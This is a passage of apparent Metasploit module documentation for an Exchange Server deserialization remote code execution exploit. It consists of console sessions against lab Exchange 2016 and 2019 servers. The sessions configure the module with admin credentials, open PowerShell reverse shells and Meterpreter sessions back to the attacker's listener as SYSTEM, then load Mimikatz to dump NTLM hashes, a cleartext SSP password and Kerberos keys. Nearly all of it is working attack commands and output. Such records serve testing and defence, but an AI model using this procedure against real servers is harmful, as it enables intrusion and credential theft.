msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
|
||||
change server
|
||||
HttpUsername administrator yes The username to log into the Exchange server
|
||||
as
|
||||
Proxies no A proxy chain of format type:host:port[,type:
|
||||
host:port][...]
|
||||
RHOSTS 172.24.104.104 yes The target host(s), see https://github.com/ra
|
||||
pid7/metasploit-framework/wiki/Using-Metasplo
|
||||
it
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen
|
||||
on. This must be an address on the local mac
|
||||
hine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is
|
||||
randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is r
|
||||
andom)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.24.97.166 yes The listen address (an interface may be speci
|
||||
fied)
|
||||
LOAD_MODULES no A list of powershell modules separated by a c
|
||||
omma to download over the web
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.24.97.166:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is a vulnerable build.
|
||||
[*] Getting the user's inbox folder's ID and ChangeKey ID...
|
||||
[+] ChangeKey value for Inbox folder is AQAAABYAAABjPvjo3ZQTRrRX7vZy33WTAAAADs7u
|
||||
[+] ID value for Inbox folder is AQMkADM5MTA3MzQ3LTQyZjYtNGQyMy05YTdjLWY1ZWQwNDZmZDgwNQAuAAADkwyiNLXBI0qL2/WrTMzfsQEAYz746N2UE0a0V+72ct91kwAAAgEMAAAA
|
||||
[*] Deleting the user configuration object associated with Inbox folder...
|
||||
[+] Successfully deleted the user configuration object associated with the Inbox folder!
|
||||
[*] Creating the malicious user configuration object on the Inbox folder!
|
||||
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
|
||||
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
|
||||
[*] Powershell session session 1 opened (172.24.97.166:4444 -> 172.24.104.104:8404 ) at 2022-02-22 17:27:02 -0600
|
||||
|
||||
PS C:\windows\system32\inetsrv> whoami
|
||||
nt authority\system
|
||||
PS C:\windows\system32\inetsrv>
|
||||
```
|
||||
|
||||
|
||||
#### Target 1 - Windows Dropper
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
|
||||
[*] Using configured payload cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOSTS 172.24.104.104
|
||||
RHOSTS => 172.24.104.104
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
|
||||
HttpUsername => administrator
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
|
||||
HttpPassword => thePassword123!
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.24.97.166
|
||||
LHOST => 172.24.97.166
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
|
||||
change server
|
||||
HttpUsername administrator yes The username to log into the Exchange server
|
||||
as
|
||||
Proxies no A proxy chain of format type:host:port[,type:
|
||||
host:port][...]
|
||||
RHOSTS 172.24.104.104 yes The target host(s), see https://github.com/ra
|
||||
pid7/metasploit-framework/wiki/Using-Metasplo
|
||||
it
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen
|
||||
on. This must be an address on the local mac
|
||||
hine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is
|
||||
randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is r
|
||||
andom)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter_reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proc
|
||||
ess, none)
|
||||
EXTENSIONS no Comma-separate list of extensions to load
|
||||
EXTINIT no Initialization strings for extensions
|
||||
LHOST 172.24.97.166 yes The local listener hostname
|
||||
LPORT 4444 yes The local listener port
|
||||
LURI no The HTTP Path
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows Dropper
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.24.97.166:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is a vulnerable build.
|
||||
[*] Using URL: http://0.0.0.0:8080/7nZtWqPZw3Oz
|
||||
[*] Local IP: http://172.24.97.166:8080/7nZtWqPZw3Oz
|
||||
[*] Getting the user's inbox folder's ID and ChangeKey ID...
|
||||
[+] ChangeKey value for Inbox folder is AQAAABYAAABjPvjo3ZQTRrRX7vZy33WTAAAADs72
|
||||
[+] ID value for Inbox folder is AQMkADM5MTA3MzQ3LTQyZjYtNGQyMy05YTdjLWY1ZWQwNDZmZDgwNQAuAAADkwyiNLXBI0qL2/WrTMzfsQEAYz746N2UE0a0V+72ct91kwAAAgEMAAAA
|
||||
[*] Deleting the user configuration object associated with Inbox folder...
|
||||
[+] Successfully deleted the user configuration object associated with the Inbox folder!
|
||||
[*] Creating the malicious user configuration object on the Inbox folder!
|
||||
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
|
||||
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
|
||||
[*] Command Stager progress - 100.00% done (151/151 bytes)
|
||||
[*] Client 172.24.104.104 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.576) requested /7nZtWqPZw3Oz
|
||||
[*] Sending payload to 172.24.104.104 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.576)
|
||||
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Without a database connected that payload UUID tracking will not work!
|
||||
[*] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Redirecting stageless connection from /886ARUzXt2EUshWwdqdmVAWJyxlofzHG with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15'
|
||||
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Without a database connected that payload UUID tracking will not work!
|
||||
[*] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Attaching orphaned/stageless session...
|
||||
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: gj6ikxqy) Without a database connected that payload UUID tracking will not work!
|
||||
[*] Meterpreter session 2 opened (172.24.97.166:4444 -> 127.0.0.1 ) at 2022-02-22 17:34:07 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > load kiwi
|
||||
Loading extension kiwi...
|
||||
.#####. mimikatz 2.2.0 20191125 (x64/windows)
|
||||
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
|
||||
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
|
||||
## \ / ## > http://blog.gentilkiwi.com/mimikatz
|
||||
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
|
||||
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
|
||||
|
||||
Success.
|
||||
meterpreter > creds_all
|
||||
[+] Running as SYSTEM
|
||||
[*] Retrieving all credentials
|
||||
msv credentials
|
||||
===============
|
||||
|
||||
Username Domain NTLM SHA1 DPAPI
|
||||
-------- ------ ---- ---- -----
|
||||
Administrator TESTINGDOMAIN2 373b765d01cd8aefe 220cface685ef2b97 968811261fcbaff0d
|
||||
a318e3843980454 a998f965b0d9b996b 2d5c4c8e546ba87
|
||||
55d560
|
||||
EXCHG-2016$ TESTINGDOMAIN2 f03d9a521cfd7eed6 ab32f2765ba2a3a3c
|
||||
51c0ce1b0298d82 914aa472be639b241
|
||||
21e69c
|
||||
HealthMailbox2e9 TESTINGDOMAIN2 c1ab4c2b030aa3759 363c5d7a09080cd07 4e9729bc7336ca551
|
||||
0d89 a4790cf6c78c642 d85c7ebacafd4ccb4 0624e08feaef9eb
|
||||
70c944
|
||||
|
||||
ssp credentials
|
||||
===============
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
HealthMailbox2e90d89fe61a419 (null) LWjz0zSYg$YiYf2r{e-24zpAr)4@.u)Iq)h!49{6w(i_/_-3^%{
|
||||
ba6c0942480b9c30e@testingdom K-Tpaf#d]Xefo.z}9.g6Qk(Ba@J&V)wH2h!X4a:eWO}_}ynh3n;
|
||||
ain.internal G81r@gX$q9RGGFa7s@$B3IdYxz
|
||||
|
||||
wdigest credentials
|
||||
===================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
Administrator TESTINGDOMAIN2 (null)
|
||||
EXCHG-2016$ TESTINGDOMAIN2 (null)
|
||||
HealthMailbox2e90d89 TESTINGDOMAIN2 (null)
|
||||
|
||||
kerberos credentials
|
||||
====================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
Administrator TESTINGDOMAIN.INTERNAL (null)
|
||||
EXCHG-2016$ testingdomain.internal ae 82 5d 5c e8 3a aa 57 91 23 b2 83 bb 27 6
|
||||
1 43 ad d1 16 58 40 5f b8 0c 54 fa e8 42 6c
|
||||
a8 57 23 9b 75 7d 33 a4 09 16 c1 f1 34 37
|
||||
fc ec 10 b7 bd 41 03 45 c0 0c d4 26 91 8b e
|
||||
4 d5 c7 43 98 be 91 80 fa fd ff 85 98 1b 49
|
||||
82 c2 26 29 00 29 4e eb c2 e5 53 5f 09 f1
|
||||
75 4b 3e 6d f0 ce 9a 4c b4 6e 60 c0 8f 2a d
|
||||
e e0 31 df 2b a9 6a e7 e3 8a b7 3c 90 5a 9d
|
||||
bc 39 6d 52 1a 3b 99 0a 10 b9 e0 fe b4 47
|
||||
5e 46 af dc 32 70 43 aa dc 7f 74 67 5d 98 f
|
||||
9 d6 b1 31 b8 00 5b 07 19 7f 84 d5 1d 71 2c
|
||||
3c c6 ea 72 13 86 fe a7 8b 1b 1d 77 7c 62
|
||||
d7 83 e7 d1 94 02 e8 3a 0c c1 c5 9b 47 19 f
|
||||
b a8 21 69 47 d4 77 67 e2 30 9f 03 f8 23 3c
|
||||
94 c6 68 32 15 1c 8f 94 2e 44 f7 3b 9e 69
|
||||
ac 87 4f 5f 51 9a 21 d2 df b6 84 d6 93 21 f
|
||||
7 f3 0c 27 df 31 5d 33 e3 32 e9
|
||||
HealthMailbox2e90d89 TESTINGDOMAIN.INTERNAL (null)
|
||||
exchg-2016$ TESTINGDOMAIN.INTERNAL (null)
|
||||
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
#### Target 2 - PowerShell Stager
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
|
||||
[*] Using configured payload cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOSTS 172.24.104.104
|
||||
RHOSTS => 172.24.104.104
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
|
||||
HttpUsername => administrator
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
|
||||
HttpPassword => thePassword123!
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.24.97.166
|
||||
LHOST => 172.24.97.166
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
|
||||
change server
|
||||
HttpUsername administrator yes The username to log into the Exchange server
|
||||
as
|
||||
Proxies no A proxy chain of format type:host:port[,type:
|
||||
host:port][...]
|
||||
RHOSTS 172.24.104.104 yes The target host(s), see https://github.com/ra
|
||||
pid7/metasploit-framework/wiki/Using-Metasplo
|
||||
it
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen
|
||||
on. This must be an address on the local mac
|
||||
hine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is
|
||||
randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is r
|
||||
andom)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proces
|
||||
s, none)
|
||||
LHOST 172.24.97.166 yes The local listener hostname
|
||||
LPORT 4444 yes The local listener port
|
||||
LURI no The HTTP Path
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
2 PowerShell Stager
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.24.97.166:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is a vulnerable build.
|
||||
[*] Getting the user's inbox folder's ID and ChangeKey ID...
|
||||
[+] ChangeKey value for Inbox folder is AQAAABYAAABjPvjo3ZQTRrRX7vZy33WTAAAADs76
|
||||
[+] ID value for Inbox folder is AQMkADM5MTA3MzQ3LTQyZjYtNGQyMy05YTdjLWY1ZWQwNDZmZDgwNQAuAAADkwyiNLXBI0qL2/WrTMzfsQEAYz746N2UE0a0V+72ct91kwAAAgEMAAAA
|
||||
[*] Deleting the user configuration object associated with Inbox folder...
|
||||
[+] Successfully deleted the user configuration object associated with the Inbox folder!
|
||||
[*] Creating the malicious user configuration object on the Inbox folder!
|
||||
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
|
||||
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
|
||||
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: jobjtqox) Without a database connected that payload UUID tracking will not work!
|
||||
[*] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: jobjtqox) Staging x64 payload (201308 bytes) ...
|
||||
[!] https://172.24.97.166:4444 handling request from 172.24.104.104; (UUID: jobjtqox) Without a database connected that payload UUID tracking will not work!
|
||||
[*] Meterpreter session 3 opened (172.24.97.166:4444 -> 127.0.0.1 ) at 2022-02-22 17:37:56 -0600
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > load kiwi
|
||||
Loading extension kiwi...
|
||||
.#####. mimikatz 2.2.0 20191125 (x64/windows)
|
||||
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
|
||||
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
|
||||
## \ / ## > http://blog.gentilkiwi.com/mimikatz
|
||||
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
|
||||
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
|
||||
|
||||
Success.
|
||||
meterpreter > creds_all
|
||||
[+] Running as SYSTEM
|
||||
[*] Retrieving all credentials
|
||||
msv credentials
|
||||
===============
|
||||
|
||||
Username Domain NTLM SHA1 DPAPI
|
||||
-------- ------ ---- ---- -----
|
||||
Administrator TESTINGDOMAIN2 373b765d01cd8aefe 220cface685ef2b97 968811261fcbaff0d
|
||||
a318e3843980454 a998f965b0d9b996b 2d5c4c8e546ba87
|
||||
55d560
|
||||
EXCHG-2016$ TESTINGDOMAIN2 f03d9a521cfd7eed6 ab32f2765ba2a3a3c
|
||||
51c0ce1b0298d82 914aa472be639b241
|
||||
21e69c
|
||||
HealthMailbox2e9 TESTINGDOMAIN2 c1ab4c2b030aa3759 363c5d7a09080cd07 4e9729bc7336ca551
|
||||
0d89 a4790cf6c78c642 d85c7ebacafd4ccb4 0624e08feaef9eb
|
||||
70c944
|
||||
|
||||
ssp credentials
|
||||
===============
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
HealthMailbox2e90d89fe61a419 (null) LWjz0zSYg$YiYf2r{e-24zpAr)4@.u)Iq)h!49{6w(i_/_-3^%{
|
||||
ba6c0942480b9c30e@testingdom K-Tpaf#d]Xefo.z}9.g6Qk(Ba@J&V)wH2h!X4a:eWO}_}ynh3n;
|
||||
ain.internal G81r@gX$q9RGGFa7s@$B3IdYxz
|
||||
|
||||
wdigest credentials
|
||||
===================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
Administrator TESTINGDOMAIN2 (null)
|
||||
EXCHG-2016$ TESTINGDOMAIN2 (null)
|
||||
HealthMailbox2e90d89 TESTINGDOMAIN2 (null)
|
||||
|
||||
kerberos credentials
|
||||
====================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
Administrator TESTINGDOMAIN.INTERNAL (null)
|
||||
EXCHG-2016$ testingdomain.internal ae 82 5d 5c e8 3a aa 57 91 23 b2 83 bb 27 6
|
||||
1 43 ad d1 16 58 40 5f b8 0c 54 fa e8 42 6c
|
||||
a8 57 23 9b 75 7d 33 a4 09 16 c1 f1 34 37
|
||||
fc ec 10 b7 bd 41 03 45 c0 0c d4 26 91 8b e
|
||||
4 d5 c7 43 98 be 91 80 fa fd ff 85 98 1b 49
|
||||
82 c2 26 29 00 29 4e eb c2 e5 53 5f 09 f1
|
||||
75 4b 3e 6d f0 ce 9a 4c b4 6e 60 c0 8f 2a d
|
||||
e e0 31 df 2b a9 6a e7 e3 8a b7 3c 90 5a 9d
|
||||
bc 39 6d 52 1a 3b 99 0a 10 b9 e0 fe b4 47
|
||||
5e 46 af dc 32 70 43 aa dc 7f 74 67 5d 98 f
|
||||
9 d6 b1 31 b8 00 5b 07 19 7f 84 d5 1d 71 2c
|
||||
3c c6 ea 72 13 86 fe a7 8b 1b 1d 77 7c 62
|
||||
d7 83 e7 d1 94 02 e8 3a 0c c1 c5 9b 47 19 f
|
||||
b a8 21 69 47 d4 77 67 e2 30 9f 03 f8 23 3c
|
||||
94 c6 68 32 15 1c 8f 94 2e 44 f7 3b 9e 69
|
||||
ac 87 4f 5f 51 9a 21 d2 df b6 84 d6 93 21 f
|
||||
7 f3 0c 27 df 31 5d 33 e3 32 e9
|
||||
HealthMailbox2e90d89 TESTINGDOMAIN.INTERNAL (null)
|
||||
exchg-2016$ TESTINGDOMAIN.INTERNAL (null)
|
||||
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Exchange Server 2019 CU11 SU0 on Windows Server 2019 Fully Updated with February 2022 Patches
|
||||
|
||||
#### Target 0 - Windows Command
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
|
||||
[*] Using configured payload cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOST 172.31.160.218
|
||||
RHOST => 172.31.160.218
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.31.171.42
|
||||
LHOST => 172.31.171.42
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
|
||||
HttpUsername => administrator
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
|
||||
HttpPassword => thePassword123!
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
|
||||
change server
|
||||
HttpUsername administrator yes The username to log into the Exchange server
|
||||
as
|
||||
Proxies no A proxy chain of format type:host:port[,type:
|
||||
host:port][...]
|
||||
RHOSTS 172.31.160.218 yes The target host(s), see https://github.com/ra
|
||||
pid7/metasploit-framework/wiki/Using-Metasplo
|
||||
it
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen
|
||||
on. This must be an address on the local mac
|
||||
hine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is
|
||||
randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is r
|
||||
andom)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.31.171.42 yes The listen address (an interface may be speci
|
||||
fied)
|
||||
LOAD_MODULES no A list of powershell modules separated by a c
|
||||
omma to download over the web
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.31.171.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exchange Server 15.2.986.5 is a vulnerable build.
|
||||
[*] Getting the user's inbox folder's ID and ChangeKey ID...
|
||||
[+] ChangeKey value for Inbox folder is AQAAABYAAAD+NAPdfxHOQog5PRD09yZZAAADvk7f
|
||||
[+] ID value for Inbox folder is AQMkADk4Nzg3MTk4LTdmMWItNDIwOC1hNjYAZC1hMDU4ZWYyMGEyNDYALgAAA63xDZKmFz1AgDziIaoT/0sBAP40A91/Ec5CiDk9EPT3JlkAAAIBDAAAAA==
|
||||
[*] Deleting the user configuration object associated with Inbox folder...
|
||||
[+] Successfully deleted the user configuration object associated with the Inbox folder!
|
||||
[*] Creating the malicious user configuration object on the Inbox folder!
|
||||
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
|
||||
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
|
||||
[*] Powershell session session 1 opened (172.31.171.42:4444 -> 172.31.160.218:30212 ) at 2022-02-14 18:01:56 -0600
|
||||
|
||||
PS C:\windows\system32\inetsrv> whoami
|
||||
nt authority\system
|
||||
PS C:\windows\system32\inetsrv> exit
|
||||
|
||||
[*] 172.31.160.218 - Powershell session session 1 closed. Reason: User exit
|
||||
```
|
||||
|
||||
#### Target 1 - Windows Dropper
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
|
||||
[*] Using configured payload cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOST 172.31.160.218
|
||||
RHOST => 172.31.160.218
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.31.171.42
|
||||
LHOST => 172.31.171.42
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
|
||||
HttpUsername => administrator
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
|
||||
HttpPassword => thePassword123!
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
|
||||
change server
|
||||
HttpUsername administrator yes The username to log into the Exchange server
|
||||
as
|
||||
Proxies no A proxy chain of format type:host:port[,type:
|
||||
host:port][...]
|
||||
RHOSTS 172.31.160.218 yes The target host(s), see https://github.com/ra
|
||||
pid7/metasploit-framework/wiki/Using-Metasplo
|
||||
it
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen
|
||||
on. This must be an address on the local mac
|
||||
hine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is
|
||||
randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is r
|
||||
andom)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter_reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proc
|
||||
ess, none)
|
||||
EXTENSIONS no Comma-separate list of extensions to load
|
||||
EXTINIT no Initialization strings for extensions
|
||||
LHOST 172.31.171.42 yes The local listener hostname
|
||||
LPORT 4444 yes The local listener port
|
||||
LURI no The HTTP Path
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows Dropper
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.31.171.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exchange Server 15.2.986.5 is a vulnerable build.
|
||||
[*] Using URL: http://0.0.0.0:8080/QULKk6
|
||||
[*] Local IP: http://172.31.171.42:8080/QULKk6
|
||||
[*] Getting the user's inbox folder's ID and ChangeKey ID...
|
||||
[+] ChangeKey value for Inbox folder is AQAAABYAAAD+NAPdfxHOQog5PRD09yZZAAADvk7o
|
||||
[+] ID value for Inbox folder is AQMkADk4Nzg3MTk4LTdmMWItNDIwOC1hNjYAZC1hMDU4ZWYyMGEyNDYALgAAA63xDZKmFz1AgDziIaoT/0sBAP40A91/Ec5CiDk9EPT3JlkAAAIBDAAAAA==
|
||||
[*] Deleting the user configuration object associated with Inbox folder...
|
||||
[+] Successfully deleted the user configuration object associated with the Inbox folder!
|
||||
[*] Creating the malicious user configuration object on the Inbox folder!
|
||||
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
|
||||
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
|
||||
[*] Client 172.31.160.218 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.2268) requested /QULKk6
|
||||
[*] Sending payload to 172.31.160.218 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.2268)
|
||||
[*] Command Stager progress - 100.00% done (145/145 bytes)
|
||||
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Without a database connected that payload UUID tracking will not work!
|
||||
